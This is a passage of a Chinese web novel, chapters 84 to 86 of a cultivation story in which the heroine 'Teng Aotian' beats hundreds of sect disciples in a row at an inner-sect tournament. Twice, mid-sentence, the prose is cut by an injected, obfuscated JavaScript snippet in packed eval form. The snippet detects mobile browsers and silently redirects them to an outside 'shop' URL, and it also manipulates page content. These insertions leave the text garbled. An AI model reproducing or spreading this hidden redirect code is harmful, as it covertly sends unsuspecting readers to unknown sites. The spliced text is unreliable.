滕棠的表情忽然变得十分狂傲。她鼻孔朝天,高声道:“他们既然不服,那我就打到他们心服口服!在未时之前,我要从第一千零六,打到第一!” 听见此言,司徒福禄缓缓坐下,朝那些怒目切齿的弟子说:“你们身上的狂气浸微浸消,而滕傲天身上的狂气日滋月益,只有她才配做我的徒弟!才配继承狂刀仙法!” 四面山上的弟子,怒气值被激到顶点,等掌门发完话,他们大声议论。 “滕傲天太嚣张了!” “没事儿,她不是想从最末的弟子打到第一么?还自己给自己挖坑,要在未时之前拿到第一,呵!我们就让她好好瞧瞧,说大话的后果!” 在众人怒目睁眉之际,远处突然飞来一艘灵舟。九长老带着一月前新招的弟子,于天空中停留,准备围观此次内门大比。 “九长老,你带新弟子来作甚?”大长老烦不胜烦,这次比试,一个两个都不消停。 表面上司徒福禄是掌门,实际上,门派许多事都是他在管,平时根本没什么大事发生。司徒福禄最大的作用,不过是坐镇山门、当个吉祥物。 新弟子入门未满两年,不许参与内门比试,这是规定。 建门至今,唯李偲缨和滕傲天打破了这个规定。前者天赋太过妖孽,可破格给予资格,后者被掌门收为首徒,需要被叫来服众……老九身后的那些新弟子并无特殊之处,带过来添什么乱。 九长老和大长老模样相似,都是白发苍苍的老头,但九长老看起来没有大长老那么和蔼。他站到舟头,一脸恨铁不成钢。 “这群新弟子,自看过滕傲天砍碎道石、被掌门收为首徒之后,倍受打击,在狂初山无心修炼,整日游手好闲、背后议论掌门之举。” 九长老说到此处,叹了一声气,捋动胡须,满面肃容地道:“我今日带他们来观内门比试,是为了看滕傲天败于他人之下,帮他们找回宿志,让他们知晓,腐木不可以为柱,实力不足,不可居其位。” 他身后站了几排弟子,全是一月前入门的,个个意兴盎然,期待看到滕傲天战败的样子。 胡坤站在最中间,此事是他向九长老提出来的,说既能帮大家找回信心,又能委婉提醒掌门,应该收更好的首徒,乱收徒弟只会破坏狂刀门的门面。没想到九长老听完,立马就同意了。 得知他们不是来捣乱的,仅是旁观,大长老直接准了:“你吩咐好他们,切勿吵闹,安静些。”底下四座山已经够闹了…… 九长老与大长老距离较远,对话时用了特殊法术。他们的声音传入内门弟子的耳中,使众人更加喧闹起来。 “滕傲天考核时砍碎了道石?哪个等级的道石?” “不知,此事只有核心弟子知晓。” “只有道域能破道石,莫非这滕傲天有很强的道域?” “有道理,能获掌门青睐之人,必然有不凡之处。” “呵,再强也是五灵根,几百年后她就死了,我就不信她能结婴。道域再厉害也比不过李大-师姐,碎的道石多半是一级道石,久经道法之力削弱,我也能砍碎!” …… 众人想询问核心弟子此事的真实性,但长老们的得意弟子都坐在北面、长老台下方,离他们距离遥远。 他们想打听,必须用传音石,可这会儿核心弟子忙着备战,在长老们的叮嘱下,正闭目打坐,准备争夺前几的名额,代表狂刀门去参加百门大比,根本没空理他们。 询问完九长老来意,大长老俯视下方名叫“滕傲天”的女子,又瞧一眼坐回石椅、目露满意的司徒福禄,长叹声气。 内门比试一般持续三日,每名弟子仅两次挑战机会,每次限定一炷香的时间。若一炷香内,弟子未将对手打下擂台,则视为挑战失败。 大长老本意拒绝滕傲天,让对方在山上等待,但转念一想,此人过于猖狂,连他都看不下去,不灭一下对方的气焰,往后更难看管。 滕傲天实力不弱,直接挑战第两百位的弟子,大概率能赢,只是无法力争上游,算起来不是非常丢脸。既然她大放厥词,扬言要从尾打到头,何不顺她的意,让她力竭,败在下游弟子中,丢个大脸? 这样不知自量的人,狂有何用?司徒福禄肯定会后悔没听他们的话,然后放弃滕傲天,转而问他要刘仁,将刘仁带上正路。 大长老捋须一笑,对四面山上的弟子道:“自沙漏倒置之际,你们的弟子令牌已现新数,令牌正面为在场排名,令牌背面为内门排名。” 滕棠边听,边翻转腰间玉牌,发现自己的牌子上没有任何数字,只有一个错误的名字——滕傲天。 她开启灵眼,瞄向长老台下方。某核心弟子恰好无心打坐,偷摸睁开眼,在查看腰间的令牌。那块赤铜背面写的“伍肆”,翻过来,正面为“叁玖”。 该弟子看完之后,神色复杂,既欣喜于自己在这一千零六人中,排名靠前,又惆怅于可挑战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这擂台如此之大……别人想将对手快速推下去,不太容易,但对灵力充沛的她来说,却极其简单。[32级]元婴二层的游戏实力,再加上自身金丹三层的修为,与元婴期以下的弟子切磋,应该可以快速获胜。 滕棠等了大约两分钟,一直未见人上台,不由出声询问四周:“第一千零六位弟子是谁?师弟还是师妹?快上台!” 她转动身体,灵眼逡巡,查看周围弟子腰间的令牌。那些赤铜色的牌子,有些是竖着的,有些是摇晃的,还有许多背面朝前……她没看到谁排在一千零六。 约莫又过了二十息,擂台正南面现身一位炼气五层的少年。对方抖抖瑟瑟地从人群中走出来,样貌看着才十一二岁。 他走得很慢,每一步都像在上刑场,步伐艰难。 方才那么多人议论这位傲天师姐,说话极其难听,期间他未作出任何言论,怎么就被对方挑上了呢?傲天师姐要是气不过,完全可以从第八百位或者第九百位开始,何必捏他们这些排在末尾的软柿子。 少年上了擂台后,站在最边边,离滕棠最远的地方。 他问对面那位女子:“师姐可以换个人么?我打不过你。” 滕棠见他年纪如此小,个子也小,是有些心生不忍。 可天上有沙漏为证,三个时辰太短,她想拿活动大奖,最稳妥的方法是从最末尾开始挑战,这样挑战到后期,面临最强的前六名弟子,她已经完成千场连胜,可以略过五位,只挑战李偲缨拿第一的玉牌。 她是个谨慎的人,不怕一万就怕万一。万一她输给排名前六的弟子了呢,或者时间超出,她无法再挑战,两个任务都没完成。 滕棠未拿出任何武器,扭动手腕,毫不客气地朝对方道:“师弟既然不想和我比试……” [叮!你已发起1v1挑战,3、2、1!] 她猛地双足蓄力,眨眼来到对方面前,拎小鸡一样把人拎下台:“下去歇息便是。” 这场比试的结果,众人早就预料到了,因此没觉得滕傲天有多厉害,都在骂她不讲武德,欺负小孩、欺负新弟子。 大长老在空中宣判:“滕傲天胜,第一千零五位弟子上擂台。” 慢腾腾宣布完,他将滕傲天和少年的令牌招上来。左手一拂,滕棠的玉牌背面立马雕出“壹贰捌壹”的字样,正面则是“壹零零陆”,而少年的令牌背面,数字一下子增大——“壹叁玖贰”,变成了全内门最末尾的弟子,仅正面好看一点,只加了一个数,写着“壹零零柒”。 “滕傲天你欺人太甚!你有本事挑战前两百名的弟子,欺负我们这些师弟师妹算什么!呸!” 一道异常洪亮的骂声出现在不远处。此声音出现后,附和它的声音越来越多。 站在台上的女子若无其事,满不在乎地道:“随便骂,下一位!希望师弟师妹们快些,不要耽误时间!” 沙漏三个时辰后就会落尽细沙,即六个小时,两万一千六百秒,分摊到一千人身上,每个人仅二十一点六秒。 这些人慢腾腾的,大长老还要宣布谁胜谁负,更改弟子令牌上的数字,真正留给她的时间实则更少。 况且,后三百名的弟子好挑战,前三百的弟子就没那么好挑战了。她必须能快则快,尽量用半秒至一秒的时间结束战斗,为后面留下充足的时间。 见滕傲天油盐不进,非要挑战后三百名的弟子,大家懒得再骂她,开始积极讨论战术。 “上去就上去!我们有三百个人,怕什么?!她没时间休息,三百个人,足够耗尽她的灵力。” “好,就看各位师兄师姐了!我这就上去耗她一点儿灵力。” 第一千零五位的弟子信心倍增,说完话,立刻飞上擂台。 然而他的脚还没站稳,就被滕棠的掌风扫下去。 滕棠没有去看地上的他摔成了什么样,和大长老同时开口,抢在大长老之前发言,自己给自己宣判:“我赢了,下一位!” 她将自己的玉牌抛给天空中的大长老,语速极快地说道:“大长老无须把令牌还给我,您就拿着,优先改他们的数字,等我结束挑战,再改我的,将令牌抛给我。” 大长老说话慢,知道自己说不过她,拿着玉石做的令牌,哼了一声:“狂妄!” 四面山上的弟子见她如此心高气傲,皆看不惯,想挫挫她锐气。 大家商讨好战术,不能让滕傲天有恢复的时间!他们只要加快速度飞上擂台,前仆后继地上,总能把滕傲天给耗下来。 于是,后三百名弟子开始鱼贯飞上擂台,接着下饺子一般,陆续摔到擂台下方,个个摔得灰头土脸。 85. 第 85 章 天空灵舟之上,九长老本是带新弟子来涨信心的,这会儿却见滕傲天狂虐炼气期、筑基期弟子,场面惨不忍睹。 他连忙转身道:“都先别看了,盘坐于地,静心修习我前几日教的心法。等我叫你们的时候,再起身观看。” 那些新弟子看得愤怒不已,在九长老的再三催促下,他们才不情不愿地收起目光。 胡坤大骂道:“她牛什么牛,有种和排名前两百的打啊!欺负弱者算什么东西?” 飞舟下方,不停响起一道声音:“下一位!” “下位!” 不一会儿,大长老叫下去的后三百名弟子,已经不存一人。 滕棠这三百场赢得之轻易,叫人不敢相信…… 这才过去多久?仅一盏茶的时间吧? 期间大长老只开口过一次:“二长老、三长老,你们快过来帮我更改这些令牌上的数字。” 擂台下方的三百人目瞪口呆,他们以为自己能够耗尽滕傲天的灵力,却没料到最后的结果是:他们倒在台下,而滕傲天还神采奕奕地站在台上。 滕傲天直到现在都还没拿出灵器…… 她一直站在擂台中央,朝飞上去的弟子挥去一掌,用强大的灵力之风把人推下去。她的双手永远包裹着凝实的五色灵力,仿佛用不完一般,只增不减。 五灵根金丹修者这么强?! 他们现在已经不怀疑滕傲天的实力了,如此浑厚的灵力,在一盏茶时间内接连战胜三百人,不太可能是虚假的。 他们开始怀疑,排在中位的三百名弟子能否将滕傲天耗下去?毕竟滕傲天现在看起来很轻松,仿佛刚才的切磋只是挥了几下手 相较于他们的目瞪口呆,滕棠看起来心情很好。 她露出满意的笑容,暗想这些弟子的战术不错。如果他们一直保持这个频率上台,她可以一秒战胜一个,节省下大量的时间,来对付前一百名弟子。 “这就完了?”忙于修改令牌的大长老震惊道。 二长老瞟一眼下方,非常看不惯滕傲天,立马将排名中间的三百名弟子叫下去,让他们赶紧登上擂台,依次去挑战滕傲天。 “我赢了下一位!” “下一位!” “赢!” 滕棠宣判的声音越来越短,尽最大的可能节约时间。 很快,又是一盏茶的时间过去,滕棠连胜了六百场! “这……”大长老已经惊得无话可说。 二长老拧着眉,继续吩咐那些弟子去擂台附近准备,不想让滕傲天休息一分半秒。 “我赢!” “赢!” …… 底下弟子们的登台速度突然变慢,排在第三百九十九位的弟子犹犹豫豫,跼蹐不安地问:“她怎么看着神采奕奕,丝毫不累?” 旁边人催促他:“赶紧上!别让她恢复灵力!” 金丹一层的三灵根弟子,被推上台,还没拿出武器,就见对面的女子瞬息来到自己面前……一阵风过后,他已经倒在台下。 “怎么会!一招都没交上手?” “陆师兄是金丹一层啊!怎可能败得如此之快?” 六百多场比试……即使是出窍期修者也受不住,滕傲天是怎么坚持下来的? 他们从未让滕傲天休息过,一直不断上人,接受滕傲天的挑战。按理来说,滕傲天没有功夫恢复灵力,早该败下阵来。 “别慌,肯定是陆师兄没准备好。大家赶紧上!” 弟子们重新排队,飞上擂台,而后陆陆续续地倒在擂台下方。 他们越站越勇,败了这么多弟子,终于看到滕傲天动身了! 她不再稳居于擂台中央、靠蛮横的灵力之掌将人推下,此刻手足并用,双手挥出灵力巨掌,左脚踢出一团五色灵力,将金丹五层的弟子扫下擂台。 众人激动不已,继续前仆后踣,等着比试出现转机。 然而等啊等,他们始终未见滕傲天展露疲态。 一炷香之后,滕傲天连胜了七百场…… “七百!”众人都瞪大了眼睛。 [(烟花)恭喜胜利!] [经验值+333333] [恭喜玩家升至33级!] [获得升级奖励:+800上品灵石。] [连胜…… 等级越到后面越不好升,滕棠在珊瑚秘境升到[30级]后,靠着主线、支线剧情任务升到了[32级],拉着李偲缨狂做门派任务、师徒任务,打了一个月的二三十级怪,又在今日战胜了七百人,她才升到[33级]。 她已经感觉到了后期升级的难度,如果没有高级怪给她打,或者不去完成主线、支线剧情任务,她很可能会一直停留在三十多级。 不仅是等级难升,游戏开启的新玩法也不给力。 比如她升到[30级]时,开启的那个自动挂机功能,这东西有何用? 她处在一个真实的世界中,不是在玩游戏,万万不敢开自动挂机。挂机切磋,打输了,会损失一笔经验值;挂机打怪,被妖魔偷袭,容易丢小命…… 滕棠喃喃自语:“多做剧情任务,努力获取经验值,或许等我级别很高时,可以用一用这个功能,说不定它能帮我省去很多麻烦,让我偷偷懒。” 她深呼吸一口,感受着升级带来的舒爽,整个人朝气蓬勃,犹如那初升的旭日。 滕傲天连胜三百场,已足够让人吃惊,此时连胜七百场,台上的几个长老以及四面山上的弟子猜想不断,狐疑滕傲天是否作弊。 “大长老!她肯定服用了特殊灵药!如此无耻之人,应当驱逐狂刀门!” 第三百零一位弟子不愿飞上擂台,指着滕傲天大声指责。 大长老点点头,亦是不信滕傲天的灵力这般浑厚,踏空下去,以灵力探视其丹田,然而……并没有发现一点丹药的痕迹。 不仅如此,滕傲天的丹田十分宽广,中间的五色灵根完美并生、盘结成丹,周围萦绕的灵力精粹而充沛,一点不像切磋了七百场。 连续打了七百场,怎么还有这么多灵力?难道是这条地蛟蛇魂在帮她? 可这条蛇是水灵根和变异风灵根,游魂状态,不太可能帮她,而且滕傲天的丹田没有外来灵力的痕迹。 大长老目露疑惑,灵力探完那条蛇魂,发现没有任何异常,于是顺着五色灵根攀向滕傲天的经脉、五脏六腑。 他忽然惊愕失色,额头狂冒汗,似窥到什么可怕的秘密。 凡是修者,皆不喜被人探视丹田、经脉与五脏六腑,滕棠也不例外。但她忍住了,为证清白,这是最好的方法,除此之外,只剩伤人伤己的搜魂术。 “大长老,可有探出什么?”二长老见他神色异常,在空中询问道。 山谷非常安静,不闻一句吵闹声。大家都注视着大长老,以期他能查出什么,把这个嚣张的滕傲天驱逐门派。 大长老收回手,苍老的五指在袖中颤抖。他许久不说话,急得二长老、三长老踏空下来,再三探向滕傲天的丹田。 他们初时和大长老一样,面色疑惑。滕傲天打了七百场,为何丹田仍充盈着浑厚的灵力?若灵宠在暗中助她,外来灵力不契合丹田,该有明显的波动与迹象才对。 他们的灵力顺着丹田向上攀爬…… 大长老望着翘首以盼的一众弟子,终于张开了嘴巴。他边擦汗,边用术法说:“滕傲天未作弊……” 他说话慢,免不得被山上的弟子打断。 “怎么可能没作弊?她金丹三层,就算是五灵根,也做不到连打七百场吧?” “是啊!她是否和那龙傲天一样,体内住了个大能之魂,暗中协助她?她进门派有什么目的?是否和龙傲天一样,想借我门派进入无涯宗,对无涯宗不利?” 大长老擦完一头冷汗,大感无奈。他还什么都没说呢,这些弟子就开始胡乱猜测起来。 “你们帮我说说。”他对旁边的两位长老道。 二长老、三长老都探完了滕傲天的身体。一个不敢置信,脸色难看,不愿意说话;另一个还好,稳住身形,犹豫着对众弟子开口。 “滕傲天确实未作弊……” 三长老不等弟子们反问,继续道:“我见过数位天纵奇才,见过大能的宽阔经脉、漩涡灵穴……唯独没见过这等可怕的灵体,滕傲天不仅有一身仙骨、完美的五色灵根、固若金汤的丹田,她身上还有更可怖的天资……” 四面秃山,无一人喧哗,所有弟子鸦雀无声,静等三长老的后文。 “她任脉畅通无阻,此脉上的所有穴位犹如无底洞,金光夺目,不知是何等天赋……老夫探入其中的灵力,转眼石沉大海,很快与我丹田断了联系。” 三长老说到此处,望向大长老:“这难道是龙脉?神龙穴位?” 大长老摇头,确切地说:“即便神龙穴位,也没有这般神奇。” 他们两人交谈时,每句话都用了术法,让众人听得清清楚楚。 无论是山上的弟子,还是台上的长老,俱皆沉默下来,寻思着,滕傲天的经脉穴位真有这么奇特? 这时,祁长兰在擂台上插话,冷哼一声:“无论古籍亦或传说,都不曾记载这等穴位,滕傲天定是用了什么障眼法!” “不太可能,若是障眼法,一定有阵法、灵力痕迹。”大长老和三长老同时摇头,不太赞成她:“我们三人的灵力皆被吞噬掉,速度极快,且毫无波动,即使是神器都做不到这般隐匿无形。” 碍于见识不够,无法鉴定滕傲天的经脉穴位乃何等天资,三个长老商讨许久,都得不出结论。 他们唯有一点可以确定。滕傲天体内充盈着灵力,且古怪地未损失一丝一毫,或许她和方才那七百人再站一场,都没有问题。 四周的弟子已经炸开了锅,此时看滕傲天如看怪物。 东妖灵陆那边大妖众多,修者皆如隐士,不怎么离开东妖灵陆与其他大陆往来。 莫非这滕傲天是哪个大能与大妖之女,罕见的杂种?所以灵体之独特,连三个长老都瞧不出来? 滕棠在他们检查的时候,始终望着天上的沙漏,眼见自己好不容易攒下来的沙子,漏了一小撮下去,而三个长老还在擂台上,迟迟不回到天上,她顿时感到焦急。 “大长老、二长老、三长老,时间不等人,你们既已确定我未作弊,那就继续比试吧,让第三百零一位师弟上台!” 她话音刚落,天空中就传来司徒福禄的声音。 “人外有人,天外有天。我徒儿浑身狂气,有点奇特的天资,不足为奇,你们快些上来,莫要耽搁她的时间。” 滕棠感激不尽地朝司徒福禄一拜:“多谢师父。”有人罩着,感觉是不一样。 “咳嗯,好。”大长老带着两位长老,踏空回到天上,继续修改之前的令牌。 沙子在瓶内一粒粒落下,滕棠看得心慌,生怕后边时间不够,导致自己的任务失败。 她干脆走下擂台,飞进人群中,站到一名男弟子面前,目光灼灼地道:“第三百零一是你吧?” 看到那弟子露出慌张的神色,她催促道:“别磨蹭,快上擂台!” 连续挑战七百人时,滕傲天就那么强,现在休息了一会儿,恐怕状态已经完全恢复了吧? 第三百零一位弟子苦巴巴地上了擂台,不到一秒,哀哀欲绝地落到台下。 他郁闷地想,刚才那句质疑就该让师兄师姐们说,自己何必去讨苦吃,很明显,滕傲天对他比别人狠,出手重了不少。 他半天爬不起身,对围过来关心他的师兄师姐勉强道了声感谢,摇头道:“滕傲天灵力太浑厚了!” 排名三百以内的弟子,不知是在给他打气,还是给自己打气:“怕什么!我们都是金丹后期的修者,上面还有元婴期、出窍期的师兄师姐在,我们和后七百名弟子不同!他们耗不了滕傲天,我们能耗!大家不停歇地上,定能将她熬败!” 有了这句话,剩下的弟子一改愁容,瞬间变得斗志满满。 他们本来有些不对头,彼此有敌意,都等着今日挑战夺取更小的数字。此刻大家忘记了纷争内斗,忽然同仇敌忾起来,将滕傲天当作唯一的敌人,势必要攻克这个难关。 咚——,第二百九十九位弟子倒下。 咚——,第二百九十八…… 轮到第二百七十三位弟子,滕棠忽然觉得眼熟,等对方抬起头,她才想起这人是谁。 李夙昇,李偲缨的迷弟,相貌有六十来岁,那天一口一个“李大-师姐”,听得她耳朵生茧。 “傲天大师姐……”李夙昇开口,正要与她闲聊一二。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032744|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不料对面的女子双足生风,猛地冲过来,毫不留情地一脚将他踢下擂台。 “李师弟,改日再聊。”滕棠头也不回,朝阶台上剩余的弟子大喊:“我胜,下一位!” “太嚣张了!此女太嚣张了!” 剩余的弟子实力与天赋都不俗,根本看不了这种场面。他们心中都有一股气在,今日若不把滕傲天打下擂台,定会气结于心,不知多久才能释怀。 他们俱皆铆足劲,如飞蛾扑火般,不断登上擂台,而后“咚咚咚”地摔倒在擂台下。 咚——,又是一个。 此时,滕傲天已经连胜八百零六场! 众人都不敢相信自己的眼睛。 要知道,滕傲天此时踢的弟子很强,是个金丹八层的三灵根修者。她竟然……同样只用了一息的时间,快到大家都不敢眨眼睛。 纵使是李大-师姐,也熬不过八百名弟子。这么多人轮番上阵,滕傲天为何还有那般浑厚的灵力?她是灵髓成精,还是体内有一条灵脉? 过了四秒,下一个弟子还未登上来,滕棠擦拭脸上冒出的汗,催促道:“师弟师妹们,请抓紧时间,不要磨蹭!” 下面的弟子听见她这精神饱满的一句,吓得双腿抖了抖。 这八百场切磋,没有让滕傲天露出疲态,只是让她热出细汗,他们剩下的这些人,真的能耗尽她的灵力? “快上!去耗她,后面的师兄师姐才有机会打败她!” 第两百位的弟子被其他人推搡着,终于登上擂台。 他有金丹九层的实力,水木土三灵根,按照灵根数与境界来看,他的实力应该比滕傲天强。 但眼下的情况太不正常了,谁知道自己会不会像前面的人一样,一秒倒在擂台下方…… 第两百位的弟子对自己没有信心,完全是抱着会输的心态,站上擂台。 结果滕傲天没有立即冲过来,而是伸手摸向储物袋,突然掏出一把威风凛凛的五米长刀,刀尖唰地伸在他脖子前,“滴答滴答”落着鲜红的血。 弟子吓得脸色惨白,两腿瞬间就软了。 不等滕棠出招,他自己往后一倒,从擂台边缘摔下去,抖着声音大喊道:“傲天大师姐!滕傲天大师姐!别杀我,别杀我!” 滕棠一怔,她只是觉得后面的弟子有点难对付,实力越来越高,需要拿武器出来速战速决,没料到这位师弟如此友善,不仅愿意称她为大师姐,还主动跳下台,不浪费她的灵力与时间。 “谢谢。”滕棠对台下的他点点头,而后看向另一边等待切磋的弟子。 被扫视的一百九十八人,内心骇然,完全不敢与她对视。其中有些弟子见过这把刀,那日开山招内门弟子,他们随长老们前去,曾被五米长刀惊异过,知晓它是上等稀有灵器,连七长老都梦寐魂求…… “哎,让她出尽了风头。”七长老在台上叹气道。 他和其余长老都认为,掌门收滕傲天为徒是错误的决定,打算今日让滕傲天低下头颅,旁敲侧打地让司徒福禄另择良徒。 没想到滕傲天还真有几分本事,连战八百多人,才拿出武器,体内仍有灵力继续切磋。 坐在他们上方的司徒福禄面无表情,右手轻拍扶手,声音有些激动:“我的徒弟,滕傲天,好!” 见滕傲天拿出了五米大刀,他目露期待。滕傲天周身狂气,天赋比他还强,学起狂刀仙法必定比他容易,这一个月说不定已经练成狂刀仙法第一式。 狂石目一开,他紧紧盯向擂台中央的女子,期望她挥出狂刀仙法的第一刀。 然而滕傲天接连切磋三场,都没有使用术法招式。她像一个扫地僧,擂台上来一个弟子,她便挥一次长刀,将人扫下去,完全不给别人站稳的机会。 且这些被长刀扫下去的弟子,看着状态不佳,比前面失败的弟子少几分血色。他们的衣服也不规整,有的被烧焦,一身糊味儿,有的被冰雪给冻硬、打湿。 之前失败的弟子不免暗中庆幸,幸好腾傲天大师姐和他们打的时候,没有拿出这么长、这么厉害的大刀。 他们真的被打服了,开始三三两两聚在一块儿,在山上做起以前的生意——押注。 “滕傲天大师姐能撑到几时?你们敢和我下赌注么?” 此时他们对滕傲天的称呼不再充满鄙视,每个人提起滕棠的时候,都恭恭敬敬地喊一声“滕傲天大师姐”或者“大师姐”,不少人觉得她比李偲缨还厉害。 “敢!怎么不敢!” “滕大师姐厉害是厉害,但她切磋了这么多场,不太可能一直打下去。我赌她败在第一百位弟子那儿。” “师兄说得有理,大师姐那把刀看起来万分沉重,而大师姐瘦胳膊细腿的,又打了八百来场,这么打下去,肯定吃不消。” “明眼人都看得出来好吧?傲天大师姐之前都不用武器,现在开始使用法宝,必然到了黔驴技穷的地步。我打听过,在场第一百位乃是朴师姐,我压朴师姐,她一定能胜!” “我跟你们不一样,我压第九十位弟子胜!依我所见,滕大师姐一定能进前一百!” 光秃秃的山上,再也没有弟子吵着闹着让长老们将滕傲天赶出门派,全都三三两两聚在一起,像以往的大比那样,开始下注对赌,希望自己小赚一笔。 天空中的灵舟一直未离开,九长老的双手在背后交握,掌心中全是汗。 他本意是带新弟子来看滕傲天失败,然后围观起哄,让司徒福禄与滕傲天断绝师徒关系。可直到现在,他都没瞧见滕傲天有任何败象,反而愈发英姿焕发、斗志昂扬。 “九长老,情况如何了?可以旁观否?” 胡坤一直在他身后打坐,由于太过无聊,忍不住第三次代替大家询问九长老。 九长老回头瞪他一眼:“慌什么慌!这才过去一会儿呢,继续打你们的坐。” 那些弟子待在灵力罩中,听不见外面的动静与声音,但都不是瞎子。天空沙漏近在眼前,已经过去一个半时辰了,九长老怎么还不让他们旁观? 难道是已经错过,九长老忘了叫他们?还是滕傲天切磋速度过慢,一边恢复灵力一边欺负弱者,占着擂台拖延时间,在耍无赖? 九长老什么都没有解释,负手站在舟头,往底下看。他背对着新弟子,那些新弟子看不到他现在震惊的表情。 86. 第 86 章 金丹期的弟子,全败在滕傲天刀下,最多只能撑五息的时间。 除不愿参与的李偲缨,现在仅剩一百四十九位弟子。 九长老在上方看得着急,恨不得自己下去,替那些弟子和滕傲天切磋,亲自动手让滕傲天知道什么叫做厉害。 排在第一百五十位的弟子,持剑飞上擂台,一脸戒备。 他有元婴一层的实力,大滕傲天一个境界,因此对自己的实力以及道域较有信心。他虽然不认为自己能打败滕傲天,但肯定能接上几招,不像前面那些弟子,没接上一招便输了。 “去!”元婴弟子开启道域后,周身多出百道剑影,手中灵剑之威涨了两倍。 灵剑脱手而出,从一把变成九把,伴随上百道剑影,真假难辨,刺向滕棠各个部位。 滕棠双足蓄满灵力,浑身散发五色光芒。在灵剑逼来时,她双脚一蹬,提着大刀冲向前面的元婴弟子,身后飞出两把弯刀,将那些虚影给击碎。 这瞬间,元婴弟子感受到了强大的灵力威压。他瞪大双目,心道,滕傲天是不是高看了自己,竟然把体内的所有灵力抽空,只为将他一招打下擂台…… 她不想继续挑战了吗?如果把丹田所有灵力调取出来,她下一场怎么打?还是说她终于准备歇息了,切磋一场恢复一刻钟,直至到达她的极限? 在他胡思乱想之际,滕傲天已经来到他面前,一刀将他的灵剑砍飞,再一脚将他踢下擂台。 灵剑受损,他受到反噬,在台下大吐一口血。 铮——,一声嗡鸣出现在背后的山上。灵剑飞得远远的,插于某张石桌上。 石桌两边坐着的弟子吓得惊呼了一声:“钱师兄你的剑!”手里的茶水倾洒了一地。 钱浦咳嗽两声,将嘴角的血擦掉,根本没力气招回山上的灵剑。他被几位师弟扶到一旁,吃下三颗疗伤丹药、一颗除痛丹药,才感觉自己活了过来。 “钱师兄辛苦了,去旁边打坐吧,接下来就看靠前的师兄师姐他们了。”几位师弟关心地说道。 钱浦一听,抬头往擂台看去,随即像见鬼一样,抖着手指向滕傲天:“她、她为何不歇息?竟然接着挑战下一位!” 扶着他的师弟顺着手指方向望去,而后回头,古怪地看他一眼:“因为滕傲天大师姐太强了啊!因为师兄你没有消耗大师姐多少灵力,她当然不用休息,可以继续切磋。” 他想了想,没有说出后面那句:“如果钱师兄能够撑两招,后面的师兄师姐更容易获胜”。这句话怪伤人的,而且己所不欲勿施于人,自己都没有做到的事,怎能要求钱师兄做到。 擂台上的滕棠不觉疲倦,和元婴初期的修者切磋,她终于有了几分手感。 她每次都狮子搏兔,调取体内所有灵力,以及二分之一的灵力储存条,攻向自己的对手。 自从突破到三十级,灵力储存条便成倍增长,不仅可储存大量灵力,且回复速度异常快,每两秒便能填满一格,八秒后填满四格,让她根本不用休息。 且[33级]相当于元婴三层,游戏实力外加自身修为,两者叠在一起,十分可怖。她现在只要不遇到分神期以上的高手,被打得无力招架,此境界以下的修者,都能应付自如。 可在场前一百五十名弟子,实力都在元婴期以上,道域天赋十分出色,一场接一场,滕棠还是越打越慢。先前她能用一两招获胜,此时必须用两招以上,才能战胜对手。 “大师姐,请指教!”一位年轻男子登上擂台,神情十分自信。 他排在第一百四十六位,是个刀修,有元婴二层的实力。之所以比别人更有信心,是因为他师从七长老。 七长老方才同他传音:“滕傲天似乎并无道域,依我之见,她能斩碎道石,全凭那把灵刀。你莫要惧怕她,她虽有狂气,但并未习得狂刀仙法,这一月都在门外做贴文任务。你的道域诡异,切磋时避开灵刀,找寻机会攻击她弱处,兴许能战胜她。” 打了这么多场,滕棠难得看到神气十足之人,她瞬间被调动了斗志,点头道:“好,互相指教。” 她没有轻看这名师弟,在攻击前,不仅用空了丹田灵力,还把刚恢复好的灵力储存条抽空,聚集于自己的要害、四肢、武器之上。 两人同时动作,滕棠挥舞五米长刀,对面的弟子则纵身一跃,手持扁短的灵刀攻来。 这位师弟的灵刀品阶较低,只有中下品。滕棠怕给他弄坏,导致他像钱浦那样,遭到反噬不说,还需花费不菲的灵石修铸法器,于是心下一软,灵活地翻转长刀,用冰与火都偏弱的背齿、血槽与对方的刀锋撞在一起。 铛——,两刀相击,爆发出响亮的嗡鸣。 空中飘过一串看不见的数字:[7777……],伤害虽被对方的灵器削弱了一部分,但剩余大部分还是作用到这名弟子身上。 他闷哼一声,身形忽然变幻莫测,一会儿变成一把刀,一会儿惊现人的身影。 台上的七长老看见了,面露焦急。傅云盛怎么回事,为何道域不稳?滕傲天那一刀,他分明已经以虚化实、接住了啊! 擂台上,傅云盛陡然出现在原来的位置,人与刀完全分离,仿佛他方才纵身跳跃的情景不存在,是众人的幻觉。 滕棠未被分走心神,手中五米长刀聚满灵力,以摧枯拉朽的气势,把面前扁短的灵刀击飞。 中下品灵器没有什么损坏,远远飞出去,插在对面山上,吓得几个弟子腾地起身,往山顶上坐,再也不敢坐于半山腰处。 滕棠看向对面身形不定的男子,没想到这人竟然能把自己变幻成刀,瞬移回原来的位置。她暂时摸不透对方的道域,只能谨慎地盯着傅云盛头上的标识,悄然将灵力转移到副武器上。 主武器强横,但灵活度不够,面对远程攻击或者移动速度快的对手,副武器是最好的选择,轻便灵巧,能随机应变。 傅云盛身上的神气似被那一刀削薄,明显颓萎下来,脸上的血色也减退了几分。 他咬紧牙关,在滕傲天再次聚力之前,动用道域,倏然移动到滕傲天背后,化身为一把锃亮的扁刀,斩向滕傲天的要害。 周围的弟子们全神贯注地看着,以为两人会鏖战许久,甚至不少人觉得滕傲天会战败。 毕竟傅云盛的道域很奇特,门内的师兄师姐们,因为足够了解他,才能够对付他。像滕傲天这样不了解他的人,与之切磋,异常容易着道。 然而震惊众人的是,傅师兄还未接近滕傲天,便被两把弯刀寻出身影,被迫停留在擂台南侧。 